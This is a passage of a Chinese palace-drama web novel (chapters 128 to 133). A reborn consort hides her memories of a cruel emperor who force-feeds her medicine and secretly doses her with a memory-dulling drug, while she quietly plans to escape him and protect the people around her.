为着因为她死去的人。
她更承受不了这样的喜欢。
只会让她觉得可怕。
可她早已无能为力。
席容烟紧咬着唇畔,默默点头,依旧眩晕的身子让她浑身绵软,摇摇欲坠。
魏祁虽说对席容烟的反应并不算满意,但他也感觉到了怀里身子的虚弱,心底深处还是闪过一丝复杂。
对于席容烟跳下水去救玉婉的动作,他并不理解。
但他想起席容烟那个溺水死去的孩子。
那日她也跳入了水中,只是她不会水性,跳下去就被宫人救了起来。
但她的孩子挣扎到了水中间,救起来的时候已经死了。
此刻魏祁并不想深想下去,他看着怀里虚软无力默默落泪的人,像是感受到了她的难受,唯有心疼,圈着人在怀里,又叫人将刚才喂到一半的药碗拿过来,重新给席容烟喂药:“你身子本就不大好,虽是初夏,但水也凉的,药喝了就好了。”
呛人又苦涩的药汁又送到了唇边,席容烟难受的偏过头去。
她愈难受便愈吃不下药,她推了推:“能不能待会儿再吃?”
手里的药已经微微有些凉了。
魏祁看了眼剩下一半的药汁,喝了一口,又捏着席容烟的下巴,低头灌了进去。
他知晓席容烟吃药是最难的,待会儿又要吃一碗,只怕又要喂许久,还不如这会儿剩下的吃完了,这一趟难受过去就好了。
第128章 你不想让朕喂你么?
药汁滚入口腔中,席容烟苦涩的作呕,伸手去推魏祁。
她忽然想起从前也是。
他眼里容不得半点反抗,她不吃药他便强喂她,折磨她。
如今他又要这么做么。
那股熟悉的害怕袭来,她抗拒的睁大眼睛,用尽浑身力气的挣扎。
席容烟眼里的恐惧刺痛了魏祁,他抬起头,看着她偏过头去捂唇,脸色苍白。
他指尖顿了顿,看了眼手上还剩一点的药汁,到底没有忍心再让她喝,放在了一边。
席容烟觉得口中被塞了一颗酸梅,她被按在魏祁的怀里,后背被他拍着,低哄的声音就在耳边:“烟儿,喝下去,病很快就好了。”
“忍一忍就好了。”
席容烟只觉得头晕,前世与今生的事情充斥她脑中,让她心里如一团乱麻,只剩下身体本能的抗拒。
只是她身上半点力气也没有,身子被紧搂在魏祁的怀中,从前让她安心的熟悉味道,又让她心里生出另外的情绪来。
魏祁见席容烟将药喝下去才放了心,又见她额上冒了汗,垂着眸子,软绵绵的,又将她放到枕上靠着,再拿过帕子为她擦汗。
席容烟尽量让自己脸上的神情看起来与从前一样,心里还是有些忐忑,害怕被魏祁看出一些什么来。
她小声道:“皇上还有许多政事要处理,臣妾不想耽搁了皇上。”
魏祁听着席容烟有气无力的声音,微微蹙了眉,他黑眸看着她:“什么事都比不上你。”
席容烟顿了顿,又垂下了眼帘。
她有些疲惫地闭上眼睛,脑中一片混乱。
魏祁摸了摸席容烟的手,依旧微凉,又问了凌姑姑生姜红糖水熬好了没有。
凌姑姑听见皇上的声音,忙进来回话:“熬好了,只是还有些烫,正冷着。”
魏祁招招手,让她端进来。
很快一碗生姜红糖水便放到了魏祁的手上,席容烟看着魏祁的动作,如今早已与从前不一样的心境,再没法子同从前一样那般面对他。
她微微别着眼,咬着口中的小核,早已在想该怎么离开他。
面前这时候伸过来一只修长的大手,席容烟愣了一下,就明白过来了。
这些日每回吃药,只要是皇上喂她,她解苦的甜枣核,都是吐在魏祁的手上。
捏在被中的手指紧了紧,席容烟还是垂着眼眸,脸色自然地将酸梅核吐在了魏祁手上。
送到唇边来的红糖水有一股浓浓的姜味,席容烟虽然不喜欢,好歹是甜的,十分顺从配合地张开了口。
她又想起二公主,抬头看向皇上,身上有一股疲惫的眩晕,她缓了一口气,细声问:“二公主救上来了么?”
魏祁淡淡唔了一声,又喂了一勺过去,见着席容烟眼底残留的星星点点的泪光,强压下自己心底的许多思绪。
现在并不是问她的时候。
席容烟也没听明白魏祁到底是什么意思,又侧头看向旁边,屋内只有魏祁陪在自己身边,她的两个丫头……
她还记得前世里,她在冬日吹了冷风风寒,魏祁便罚了照顾她的宫女都跪在了雪里。
她的心提起来,抬头捏向魏祁的袖口,小声问道:“宝珠呢?”
“要不让她来喂臣妾吧。”
魏祁低低看了眼席容烟捏在自己袖口上的手指,他神色闪过一丝复杂,又放下手上的勺子包裹住席容烟的手:“你不想让朕喂你么?”
席容烟一怔,忙摇头:“臣妾只是不想让皇上太累了。”
魏祁静静地抿唇,又缓和下神情:“朕不会累的。”
席容烟知道再不能问下去,看着那又喂过来的修长手指,她心里一阵不安的心跳,轻轻的张开了唇。
一直到席容烟吃完了姜汤,魏祁看席容烟闭上眼睛要睡过去时才起身离开。
他负手走到外面,却没有直接走,站在承乾宫的宫门前徘徊渡步。
日暮时分有一股萧瑟,前一世的魏祁来承乾宫时,总会在这里徘徊一会儿。
他控制自己的情绪,让自己的脸色看起来没那么让她害怕。
只是他每每进去的时候,看到席容烟躲避的姿态,还是将所有的情绪暴露无遗。
高义奇怪皇上怎么今日在这儿徘徊,正想要上前询问,又见皇上了步辇,又让他去请王太医去明德殿。
王太医匆匆去明德殿时,只见到皇上负手背对着他站在窗前,夕阳沉暗的光线从外面照进来,伴随着摇晃的烛火,将那身形衬得更加高大尊贵。
忽明忽暗里,那手指上的玉扳指与松绿石戒发出寒光,更显露出帝王无声的压迫。
王太医小心翼翼地站在皇上五步远的位置低声开口:“皇上。”
魏祁抿了抿唇,转身看了眼躬身站着王太医,又淡声道:“上回让你开的那药,若是朕还要加一些药性,对身子可有害?”
王太医愣了愣,随即又连忙道:“那药的药性有些猛,且药性不好控制,虽说对身子没大影响,但是若是不克制分量,恐怕最后的记性会越来越差,更可能记不得从前的事情了。”
“可能连从前的亲近的亲人都会想不起来。”
魏祁沉眉。
指尖动了动,他并没有想要这么对席容烟。
他在屋子里无声地渡步,高大的身形掠过王太医面前,龙涎香的味道却让王太医额上落了一层冷汗。
他胆战心惊地立着,又忽地看到面前落下一团黑影,目光所及是一双绣着龙纹的黑靴,是皇上停在了他的面前。
他愈发恭敬地低下头,开始紧张。
头顶传来低沉的声音:“回去。”
王太医如释重负,赶紧告退下去。
魏祁在屋内站了许久,又见了今日随行的宫女。
那宫女跪在地上,颤声道:“宸妃娘娘这些日子一直好好的,今日在凉亭里还与宝珠说笑,看起来心情极好。”
“宸妃娘娘好似也喜欢二公主,给了二公主吃了甜瓜,听到二公主要摘荷花,也叫玉竹姐姐去拿杆子。”
“二公主落水后,其实已经有宫女跳下去救了,那时候场面乱得很,注意全都在水里的二公主身上,奴婢们也没想到宸妃娘娘也会跳下去”
“宸妃娘娘不会水性,被荷花茎绊倒去了深处,好在云芳会水性,也救得及时。”
说着那宫女抖着身子磕头道:“还请皇上开恩。”
魏祁淡淡看了地上磕头的宫女的一眼,又摆摆手让她出去。
又无声地坐在长椅上。
第129章 他从来都是这样不折手段
这一夜魏祁独自坐了许久。
高高的树形宫灯微微摇晃,琉璃盏折射出破碎的光影,落在沉寂的玄衣上。
玄衣上的金龙流转闪烁,玉白蟠龙玉佩垂在椅上,直到高义小心地从外头进来才动了动。
魏祁接过高义手上的信件,北地的战事每隔一日就会送来。
他淡淡看了两眼,依旧是战事不明朗的战况,隐隐有退守的态势。
他唇边勾起抹冷笑,将信件放在一边,又起身往外走。
此时夜色已深,承乾宫离明德殿并不远,魏祁独自走在夜色里,两边随行的宫灯悄无声息,在夜色中渐行渐远。
到了承乾宫,凌姑姑迎上来,小声道:“娘娘已经睡了。”
“要通传么?”
魏祁没说话,继续往内殿走。
内殿的光线昏暗,只留了几盏灯,里头守夜的宫人见到皇上过来,纷纷退到了角落处。
魏祁绕过帷幔,听见里头没有声响,站在屏风前顿了顿,又往前走。
床榻上的人睡得正安稳,侧着身,一只手臂压在被子上,许是觉得还有些热,一只脚伸到了被子外面。
其实按着席容烟的性子来说,她睡着的时候反没那么规矩。
魏祁看了两眼,又转身出去梳洗。
席容烟睡到模模糊糊的时候,就感觉到后背一丝微凉贴上来,紧接着后背又被捂热,一只手从她身后揽在她腰上。
她僵了一下,忍住了想要躲开的动作,又闭上眼睛。
她知道魏祁的可怕,如今她再想自己如何进宫的,愈想便愈觉得他可怖。
前世里这些都没发生过,那改变的这些事,是不是他也如她一样,有前世的记忆。
他从来都是这样不择手段,将人命视为草芥地。
这样的人冷血无情又残忍,还有什么事情不是他做得出来的。
她甚至想她身上受伤,后宫里那么多人受牵连,也都是他做的。
前世里他也这般做过,他说他会让后宫里只有她一人,便要将后宫其他所有人都赐毒酒,她们曾是皇帝的女人,最后的结局也都是死。
那些人跑到她这里哭着求饶,让席容烟觉得自己身上也背负着血淋淋的命。
让她同样日夜难安。
也是,他连四岁的孩子都能下得去手,还有什么是他做不出来的。
想到那个孩子,席容烟还是心头钝痛。
身后的那个人,冷血得让人恐惧。
她浑身冰凉时,那放在她腰上的手指,却从她衣摆下伸进去,放在了她的小腹上。
虽说没有其他的动作,但却让她心生出一股抗拒厌恶来。
身子动了动,又转过了身,将脸埋在魏祁的怀里。
魏祁低头看向转身过来埋在他怀里的人,从前夜里入睡时,席容烟好似喜欢靠近他的怀里。
她夜里会做噩梦,会紧紧地环在他的腰上。
现在她又如从前一样。
心里渐渐被怀里温热的身子暖化,那乌发间露出来的一些白净脸庞,还有她纤细的颈脖,无一不是柔软惹眼的。
他伸手将手放在她后背上,低头在席容烟发顶上吻了一下。
第二日席容烟醒来的时候,魏祁早已经走了。
她靠在榻上,又接过宝珠送来的姜糖水。
宝珠在旁边小声道:“皇上说主子喝不得药,这姜糖水不苦,多喝几回捂捂汗,还准备了药浴,太医也说要不了几日,主子体内的寒气就散了,身子也能大好。”
席容烟垂着的眼底没有多少情绪,只是低低嗯了一声。
她将碗里的姜糖水喝完,身上便传来股热气,又是初夏,本就有些热,额头上又冒了一层薄薄的汗。
宝珠将席容烟裹紧:“主子好好捂捂,捂汗了就去泡药浴,把寒气逼出来,免得风寒。”
席容烟看向宝珠问:“我落水后,皇上为难你和玉竹了么?”
宝珠的脸色一白,想起皇上昨日冷酷要杖杀她们的话,心里头就抖了抖,现在心里都有些后怕。
但昨天凌姑姑就对她和玉竹提醒了,不能说皇上不好的,不然往后更难保命。
她忙摇头道:“皇上没责怪奴婢和玉竹。”
席容烟微微诧异了一下,他还有这样宽容的时候么。
他也最擅长用身边人威胁她。
席容烟闭上眼睛点点头,又对宝珠问:“二公主救起来了么。”
宝珠点头:“主子放心,二公主救上来了。”
“不过主子跟着落水后,我们就没管二公主的事了。”
说着宝珠看着席容烟红了眼眶:“主子不会水,那时候怎么忽然跳到水里去了。”
“奴婢都快吓死了。”
席容烟不想解释,只是低声道:“只是瞧着二公主小,便没想那么多了。”
玉竹这时候进来小声道:“太医来给主子把脉了。”
席容烟便让太医进来,隔着帘子给她把脉。
那太医把了一会儿,也似松了一口气的恭声道:“宸妃娘娘的脉象平稳,再调养两日,就没有大碍了。”
席容烟并没有什么情绪,只是让玉竹送太医出去。
她身上捂了一会儿,这会儿身上出了汗,浑身黏腻不舒服,又让宝珠带她去沐浴。
宝珠看席容烟脸颊红润,容色看起来比起昨日好了许多,就忙过来扶着席容烟起身。
泡在浴桶里时,浴房内充满药味,席容烟一身白腻的肌肤,除了那搭在浴桶上左手臂上的几处伤痕。
宝珠擦到那里,有些难受道:“也不知道这印子什么时候能好。”
席容烟倒不在意,她在热气中失神,想着该怎么离开这里,又不让那人伤害身边的人。
她一刻也不想呆在那个手染着鲜血的冷酷的人身边。
前世里她逃过一次,因为她没想到过魏祁居然会那样残忍,被他抓回来后,明明全不知情的宫人也被他杖毙。
那之后她不敢再逃,但她知道,她唯一能报复他的是什么。
第130章 往事
热气腾腾的白雾熏的席容烟脸颊通红,等到有些喘不过气来了,又才起来。
出去坐在贵妃榻上,宝珠在身后为她擦拭湿发,玉竹往席容烟手里送了一盏雨前茶。
擦到干得差不多的时候,玉竹又进来说道:“丽妃娘娘来看您了。”
席容烟听到丽妃一顿,前世里她对这个人的了解稍有一些,因为她们两人有过一些交集。
她还记得一些事,盛儿没有进宫时,她很少会出宫殿,但盛儿入宫后,他年纪小,难免要动闲不住,闹着要出去玩。
她带着他往园子里去,碰着丽妃带着二公主在园子里小坐。
二公主那时候大概是十一岁了,粉雕玉琢,生的极好看,是席容烟见过的生的最漂亮的孩子。
二公主那时候十分规矩,还有些羞涩,见着她的盛儿便好奇的过来陪他玩。
丽妃虽不敢接近她,但却常叫二公主陪盛儿玩耍,席容烟看盛儿有了玩伴,便常出去小坐,但丽妃很少主动过来说话,都是小心谨慎地站在二公主身边。
有一回二公主牵着盛儿一起摔了,丽妃吓得脸色惨白,连二公主都不敢管,就去将盛儿抱在怀里,又来与她赔罪。
席容烟那时候从丽妃脸上看到的害怕是真真切切的。
她怕自己,但是看盛儿孤单,又让二公主去陪盛儿。
因为都是母亲,她知道盛儿需要孩子陪伴。
虽说席容烟不知道丽妃为何那般害怕接近自己,但她想大抵是因为魏祁。
她进宫的那三年,魏祁不让任何一个后妃去承乾宫,她被封为了宸妃,但从来没有去过皇后那里问安过。
但席容烟也的确不愿去,因为即便她很少出宫殿,也能从偶尔宫女的眼神中看出来,自己进宫的事情不明不白,早以让人私下议论。
席容烟对丽妃的印象是有些好的,后来她主动与她说话,她虽小心翼翼,但看得出来是真心。
但后来丽妃有一天忽然不再出现在园子里,有一回在宫道上碰见,席容烟问她为何不带二公主去了,丽妃却脸色惊慌的告诉她,让她往后别去园子里。
丽妃说她不去见她,是不想害她。
说完那话,丽妃便匆匆走了。
后头席容烟再没有见过她,直到魏祁要遣散后宫里的其他女人。
但魏祁的手段残忍,除了皇后,剩下的后妃都被赐了毒酒。
有好几个面孔宋绾连见都没有见过。
那天丽妃也在那些后妃那里,她没同其他后妃那样求着活下来,她只求自己照顾二公主,求她将二公主养在自己名下。
席容捧着茶失神了一会儿,又让玉竹出去请丽妃进来。
丽妃进来的时候眼眶有些红润,像是哭过。
她是十分美貌的女子,这般样子楚楚柔弱,身上装点朴素,发上的首饰虽说也是极好的,但比起后宫其他女子的富贵,还是差了一些。
身上穿着的也是低调的素色料子,进来见着席容烟了,便红了眼眶,满脸担心的看着她:“我今日特意来看妹妹的,妹妹身子好些了么?”
席容烟看着丽妃神色,又让玉竹去端椅子过来让丽妃坐下,才含笑道:“姐姐记挂我我心里感动,如今我没事的。”
丽妃便满脸愧疚:“我昨日便想来看望妹妹的,只是我来的时候皇上在里头,我不敢进来,妹妹别怪我。”
席容烟摇头:“姐姐别说这样的话,我自然不会怪姐姐的。”
丽妃又用帕子点了点泪道:“我没想到妹妹为了玉婉能跳下水去救她,心里实感动,可惜我身边没什么好东西,我那些好东西妹妹也定然瞧不上。”
“这样空手过来,唯有一颗真心来谢了。”
席容烟看着丽妃眼里的泪水,如今的丽妃与从前没什么区别,柔弱胆小,更没有其他妃嫔争宠的心思。
她低声道:“我救二公主也不是要姐姐来谢我的。”
又问:“二公主呢?可好起来了?”
丽妃泪盈盈的眼眸便看向席容烟:“她今早才醒来,醒来了还说了胡话。”
“我叫人去叫太医来,只是太医来看了敷衍两句,只说让玉婉好生吃药便好了。”
说着丽妃哽咽:“也是我这做母妃的没用,惹了皇上不喜,也连累了孩子。”
席容烟觉得,丽妃这样的性子,小心翼翼的,能做什么事情惹魏祁不喜。
但这话终究不好问,她神色也担心下来:“那二公主现在好些了么?”
丽妃便道:“倒是没说胡话了,就是身上有些热,也吃了药,我来妹妹这前就睡了。”
席容烟只想到了自己的盛儿。
他落水后救上来,就再也没了呼吸。
永远的离开她。
她对丽妃道:“那我中午的时候去瞧瞧二公主。”
丽妃一愣,抬头看向席容烟,怔了怔道:“妹妹身子还没好,哪能让妹妹去看她。”
席容烟笑了下:“我身子并没那么差。”
丽妃眼里又涌出泪来:“玉婉见着妹妹去看她,定然高兴的。”
接着她又看着席容烟欲言又止。
席容烟看出丽妃想说什么,让屋内的宫人都退下去,又让丽妃坐到自己身边来,低声问:“姐姐要与我说什么么?”
空无一人的屋内,丽妃眼里还含着泪光,她透过泪眼看向席容烟,一袭海棠色白蝶裙,半干的发丝垂在秀气的肩头。
那手上捧着茶盏冉冉冒出热气,将那张脸衬的如仙,云浓绾发,烟笼玉眉。
她知晓旁人常夸自己美貌,但在席容烟面前也是比不过的。
她从来最有自知之明,且她心里从来没有要与席容烟比较,她更多的是羡慕她,如今又真心希望她一切都好。
她握住席容烟的手,细声的开口:“妹妹可知晓,之前王修仪的大哥和忠靖侯府的庶女定了亲。”
“还有王宝然二哥这回去考了进士,说是也是忠靖侯府的举荐的”
这等事席容烟的确是不知的,她摇头,又问:“什么时候的事?”
丽妃叹息:“什么时候的事不好说,但我也不能说多了。”
“我与妹妹说这个,妹妹后头好好想想吧。”
席容烟心底思量一下,正要开口,宝珠匆匆从外头进来,对着席容烟便小声道:“皇上来了。”
第131章 她只需要依靠自己就够了
魏祁进来的时候,正看见席容烟与丽妃坐在一起。
两人坐在贵妃榻上,丽妃的手还握在席容烟手上。
他蹙了眉。
他心底深处,并不喜欢席容烟与这些女人呆在一起。
他当然也知道皇后背后的那些小动作,让这些女人孤立席容烟,他全知晓,但他放任皇后,是因为正中他下怀。
席容烟不需要和这些女人交好,她只需要依靠自己就够了。
丽妃从皇上进来的那一瞬,在看到皇上脸上的神色时,心底就升起一股恐惧来。
她自己知道因为当初那事,自己在皇上的心里便惹皇上厌恶。
她至今都还记得那天皇上看她的眼神,她几乎以为自己会死在那天。
皇后总叫她去皇上面前露脸,她但凡想多活一日,都不敢出现在皇上的面前。
这会儿她同样从皇上的眼里看到了对她漠视的厌烦,她极懂事,赶紧站起来对着席容烟和皇上告退。
魏祁看了丽妃一眼,走到了席容烟的身边。
他看她发丝还有些潮湿,又皱了眉:“怎么不在床上躺着。”
席容烟看着丽妃出去的最后一抹身影,几乎是落荒而逃的背影,又侧头看向皇上。
皇上的眉眼淡淡,不笑时总有一股薄情。
这后宫里的女人谁不害怕皇上呢,他几乎没有温情的时候。
前世席容烟也极少见到他温情的时候,他总是冷着脸,阴着神色,威严又凌厉,一旦没有顺从他,他便会张开狰狞的獠牙。
但此刻魏祁的眼底是这些日子来她熟悉的温和,或许是因为这一世自己被他瞒过去,顺从地听他的话,他才会有这样的神情。
见过他冷酷凶狠的样子,也见过他冷血无情的残酷,席容烟知道,魏祁再怎么伪装,他的心也是冷血和不择手段的。
她脸上做出与从前一样的神色来,依旧如同从前毫无防备地与他说话:“丽妃娘娘来探望臣妾,臣妾躺得累了,与丽妃说两句话正好。”
魏祁抿了抿唇,看着席容烟看过来的清澈眸子,眸光落到席容烟踩着木履的白净小脚上。
她没有穿白袜,脚就露在了外头。
他弯腰摸了摸,微微的凉,又将席容烟横抱着在怀里,将她放在床榻上,又叫人拿白袜来,他坐在床沿上为席容烟穿袜。
这时候他才开口:“你自来身子就凉,太医说你有些宫寒,下回别如此了。”
席容烟看着自己的脚搭在魏祁膝盖上,那双温热修长的手指正为她穿袜,魏祁的眉目低垂,眼神瞟向她,又回过眼神为她将白袜上的带子系好。
席容烟怔怔看着魏祁的侧脸,她知道魏祁极喜欢她,虽说她不明白他这样的喜欢。
他的喜欢是毁掉她身边的一切,是草芥人命,窒息的让她惶惶不安,她也承受不住。
她总是在想,要是他没有杀她身边的人,要是他再温和一些,两人最后是什么结局。
魏祁为席容烟将白袜穿好后才又抬头看她,见着席容烟看着自己出神,笑了下:“烟儿在看什么?”
席容烟摇头,又垂下眼帘小声道:“皇上为臣妾做这么多,臣妾心里感激。”
那低垂的下巴尖尖,眉眼盈盈,含羞带怯,一如席容烟刚进宫第一次依偎在自己怀里时的那般羞涩。
魏祁极喜欢她这般,像是自己真的入了她的心里。
他往前坐了坐,又将席容烟按进怀里:“朕为烟儿做的都是微不足道的。”
“只要烟儿知道朕的用心就好。”
席容烟不想让魏祁发现出什么来,又伸手环在魏祁的腰上,轻轻嗯了一声。
腰上柔软的手指让魏祁微微吐出一口气,又弯腰闻着人身上那股淡淡的药味和香味,又哑声道:“烟儿,等你这两天身子养好些了,就与朕一同去明德殿同住吧。”
席容烟一愣,诧异地抬头看向魏祁:“皇上不是让臣妾住在这里么?为何又要去明德殿?”
魏祁低头对上席容烟的眼睛:“朕常在明德殿处理政务,烟儿去了那里,就可以常陪在朕的身边了。”
“朕也能护着你。”
席容烟顿了顿。
前世里魏祁虽说也提过,但是他说过是在为她册封皇后后才一起同住。
现在她只是皇上的妃子,皇后还在,不管怎么说,都是不合规制的。
只有皇后才有资格与皇上同住一殿。
只有皇后才有资格住在皇上的寝宫。
她说出疑惑:“臣妾去明德殿会不会惹来非议。”
魏祁静静看了席容烟一眼:“烟儿怕什么?”
“朕是皇上,你只需信朕的便是。”
其实魏祁从前打算的并没有这么早让席容烟去明德殿,让忠靖侯府出事也不过这两月的时间,离他废后也并不需要太久。
但他发觉,自从席容烟住进承乾宫后,好似变了一些。
前世席容烟在这里住了快三年,两人之间的许多回忆都留在这里。
不管是不是鬼神之说,席容烟的确梦见了前世的一些事,他并不想让她再留在这里了。
或许离开这里,那些过往也会烟消云散。
席容烟知道,只要是魏祁决定的事情,那她便再也难以改变了。
只是住进了明德殿,那里到处都是侍卫和魏祁的人,她想要想法子离开,比呆在这里更难了。
她不想让魏祁察觉出她不愿意,张张唇,又开口:“臣妾自然愿意与皇上时时刻刻呆在一起,臣妾只是怕皇上难做。”
“还有朝廷和后宫的议论。”
魏祁看着席容烟明亮的眸子,心尖一热,便握紧她的手:“那些议论根本不值一提。”
“烟儿不必管。”
“一切有朕。”
席容烟的身子被紧紧抱紧在皇上的怀里,让她没有再可以反驳的话。
下巴又被抬起,皇上炙热的气息吻下来,带着不容拒绝的压迫,也堵住了席容烟所有的话。
让她只能跟着他的脚步被拉着往前走。
魏祁吻到情浓时,手指情不自禁地收紧,想要探进席容烟的衣襟,又想起席容烟刚落水的身子,在半途时生生顿住。
只发出微微一声轻叹。
第132章 她知道他做得出来的
中午魏祁陪她用完膳,在她小睡的时候他便出去了。
席容烟从床榻上睁开眼,又翻了身想着上午时丽妃对她说的话。
丽妃说王宝然的大哥和忠靖侯府联姻,是不是也是说王宝然和皇后达成了什么交易。
她原来还疑惑王宝然为什么要冒险来害她,在她心里,王宝然还算是谨慎的人,现在像是有答案了。
背后操控的人,又是皇后。
那皇上知不知道。
她睡到一半坐起来,又叫宝珠进来穿衣。
宝珠看看席容烟睡一半起来,忍不住问:“这会儿还早,主子不多睡会儿?”
席容烟摇头:“睡不着。”
穿戴好出去的时候,凌姑姑跟在身边,有些为难道:“皇上担心娘娘身子,娘娘还是先别出去吧。”
“这样身子也好得快些。”
席容烟如今已经知道,凌姑姑八成是魏祁放在自己身边看着自己的人了。
他从来都是这样,即便他面上装得再温和,也从来都是深思熟虑,从来不曾真正地放心过。
席容烟知道瞒不过魏祁她去了哪儿,她面色如常地对凌姑姑道:“上午丽妃来说二公主的身子不好,我记挂着,这会儿去瞧瞧她。”
凌姑姑自然不敢拦着席容烟,只好要跟着一路去。
席容烟倒是没拦着,她知道她表现得越自然,越与从前一样,魏祁便越不会生疑。
她已经不敢想,要是让魏祁知道自己也恢复了前世的记忆,他会怎么对自己。
是不是又要将她一直锁在冷冰冰的宫殿中。
她知道他做得出来的。
正午过后不久的光线最是刺眼,她眯了眯眼,身子只是有一些恍惚,又坐在步辇上。
她去了丽妃的启祥宫,启祥宫在西六宫靠近末尾的位置,算得上偏僻。
启祥宫的宫人看到席容烟过来,脸上都露出了诧异的神色,又赶忙进去传话。
没一会儿丽妃就亲自出来,看到席容烟来愣了愣:“我没想到妹妹真的会来看玉婉。”
席容烟笑了下,与丽妃一同往里头走,又问:“二公主醒了么?”
丽妃便忙点头:“醒了。”
“太医才来瞧过,说没什么大碍,养几日就好了。”
席容烟便放了心,跟着丽妃往内殿走。
内殿的装饰寻常,算不上多精贵,但内务府对这里也没有太苛待。
毕竟丽妃生了二公主,二公主也是皇上的子嗣,皇上虽不怎么喜欢,就怕万一哪一天皇上问起来,所以丽妃在宫内应该是过得不太差的。
床榻上的二公主见到席容烟过来,连忙高兴地喊:“宸妃娘娘。”
席容烟看着二公主苍白的小脸儿,又想起她后来长大的模样。
她前世知道自己逃不过魏祁,盛儿死后,她为了报复魏祁,死在了他的面前,二公主她也没来得及顾,也不知道她后来如何了。
因为她当初也没能救下丽妃,魏祁的心肠太硬太冷,像是冷酷无情的杀神,对于人命丝毫没有在乎。
他说他手上早就染上了鲜血,他让她们死,是给她解脱。
他说让这些人去寺庙,也只能苦修一辈子,说不定还在他身后对着佛祖诅咒他,倒不如让她们都死了。
他也真的是这么做的。
对外说的都是那些后妃被送去了寺庙,只有席容烟知晓那一场血腥,骇人听闻。
他甚至还弯腰抱着她说,他都是为了她。
没人能承受得住他这样为她。
席容烟不能。
她夜夜噩梦,夜不能寐,梦里总是血。
席容烟如今又看到二公主,她此刻还是粉雕玉琢的模样,又想起她曾陪伴过盛儿,只觉得恍如隔世。
她走过去,让宝珠将带来的盒子打开,送去一碟新鲜的甜瓜:“这个才开的,没有凉过,二公主尝尝。”
二公主到底年纪小,即便病着也贪吃,忙去高兴地拿了一块。
席容烟余光见着凌姑姑就站在身边的,又对丽妃问:“有人来瞧过二公主么?”
丽妃苦涩一笑:“宫里都知晓皇上从不在意玉婉,怎么会来瞧她。”
席容烟点点头,看着玉婉吃完了一块,又往碟子里去拿,想起从前玉婉处处照顾盛儿陪他玩耍的模样。
大抵二公主在深宫中也是寂寞的。
丽妃又叫席容烟出去小榻上坐,又亲自为席容烟斟茶:“也不知这茶合不合妹妹胃口,妹妹该是吃惯好茶的,别嫌弃。”
席容烟接过来,笑道:“我怎么会嫌弃。”
席容烟其实是有些话想问丽妃的,但这会儿问丽妃不是时候,凌姑姑在身边,定然会事无巨细地说到魏祁的耳边。
要是丽妃对自己说了什么,害的也是丽妃。
席容烟看二公主无事,没有坐多久就离开了。
晚上魏祁在席容烟临睡时过来,正好是席容烟吃药的时候。
那用来给她补气血的苦涩药汁这些日一直都没有停过。
席容烟闻着隐隐有熟悉的感觉。
她记得魏祁有一段时间也给她喂过一种药,让她恍恍惚惚,一整日都没有精神,脑中一片空白。
上一刻的事情,或许她下一刻就记不得了。
她好似自从开始吃这药开始,记性就有些不好了。
如今那苦涩的药汁又喂到了唇边。
席容烟用帕子捂着唇,难受地抬头看向魏祁:“这药太苦,臣妾能不吃药了么。”
魏祁垂眸看着席容烟的眼睛,黛眉轻蹙,一双眼含着楚楚可怜的水光,乌发批泄在白色寝衣上,看起来单薄又可怜。
有一刻魏祁是不忍心的。
因为他知道席容烟怕苦,吃不得药。
但他不想让那些噩梦再缠着她,他也是为了她好。
或许等到她去了明德殿,他可以考虑让她不在吃这药了。
银勺依旧放在席容烟的唇边,魏祁温声哄着:“烟儿不是想要怀上朕的孩子么?烟儿的身子不好,怎么能怀孩子。”
席容烟哑口无言。
即便隔着帕子,苦涩的药味还是传进来,她知道她拒绝不了魏祁,强忍着去吃药。
吃药对于她来说,无异于是折磨,一碗药喝完,额头就会恶心的冒汗,再甜的蜜枣也扫不去她胃里的翻腾。
魏祁看着席容烟难受的模样也心疼,依旧捧着她的脸庞,吻去她唇里残留的苦涩药汁,像是要与她一起品尝苦涩。
又缠住她唇畔,越吻越深。
第133章 我以为烟儿躲避朕,是不愿
席容烟仰着头,只觉得脖子酸软,推在魏祁的胸膛上,又被他抱着往床榻上按下去。
过去的事积压在胸腔,她如今已接受不了再如从前那样愿意与他亲近了。
耳边传来她熟悉的喘息动情的声音,但是魏祁却并没有再继续下去。
他将她搂的很紧,又咬向她的肩膀。
他起伏的胸膛压着她,让她微微难受。
隔了许久身上的禁锢才被松开,魏祁的脸出现在她面前,带着并不满足的深色,又抚摸她脸庞,沙哑的问她:“烟儿这么喜欢公主?”
席容烟一愣,想着魏祁该问的她是她去看望二公主的事情,她点点头:“二公主讨人喜欢。”
魏祁便深深看着席容烟:“烟儿喜欢公主,往后便为朕多生几个公主吧。”
“朕也喜欢公主。”
席容烟便问出来:“那皇上喜欢二公主么?”
魏祁一顿,又无奈的低低叹息道:“朕只喜欢朕与烟儿的孩子。”
席容烟便不再问了。
他喜欢的大抵是真的喜欢,但他不喜欢的,却异常残忍。
她闭上眼睛,只埋在魏祁的怀里不说话。
魏祁看席容烟忽然沉默,沉起眉目,手指挑着席容烟的下巴让她抬头,又问:“烟儿不愿为朕生孩子?”
席容烟摇头:“臣妾怎么会不愿呢。”
魏祁眼底复杂:“我以为烟儿躲避朕,是不愿。”
席容烟默默的伸手揽住魏祁的脖子,小声道:“臣妾只是怕皇上会如对二公主那般对臣妾的女儿。”
魏祁握住席容烟手,低沉的目光里微微严肃:“烟儿,朕与你说过,那个孩子不是朕期待的孩子。”
“你为朕生的孩子不一样。”
“朕期待你的孩子。”
“那也是朕的孩子。”
席容烟愣了下心底深处是复杂的情绪,她又细声道:“臣妾也想生下皇上的孩子。”
这般温顺听话,又满眼是他的模样,到底取悦可魏祁,他看着席容烟脸上顺从的神情,好似有一丝笑意,竟也觉得欣喜,到底她明白自己的心意了。
也不算辜负他的心意。
夜里他抱着他,心情难得极好,问起席容烟将来想为孩子取什么名字。
席容烟问:“孩子的名字不都是皇上取名么?”
魏祁低头笑了笑:“要是烟儿有喜欢的名字,朕也可以用的。”
席容烟心底深处便没想过要生下魏祁的孩子,更没想过要待在他的身边。
她只是装作想了想,又摇头:“臣妾想不出来。”
魏祁笑,倒没有再问,只是捏着席容烟的软腰又让她趴在自己的怀里看着她:“烟儿,往后你不用再见丽妃了。”
“她们在朕心里永远都比不上你,她们早晚也会离开朕的后宫,何必去见她们。”
席容烟心里发紧,又想起前世的事情来。
她不想他再杀人。
她问:“皇上要怎么安置她们?”
魏祁拍拍席容烟的后背笑:“烟儿不必关心这些,都不要紧,没人能扰你。”
席容烟低头埋在魏祁的胸膛上,小声问:“那皇上什么时候安置她们?”
魏祁听着席容烟的话,这话像是她也欣喜的等待着那一天,他眼里的柔软更甚:“烟儿再等两月,要不了多久的。”
席容烟的心里却扑扑直跳。
她紧了紧魏祁的衣襟。
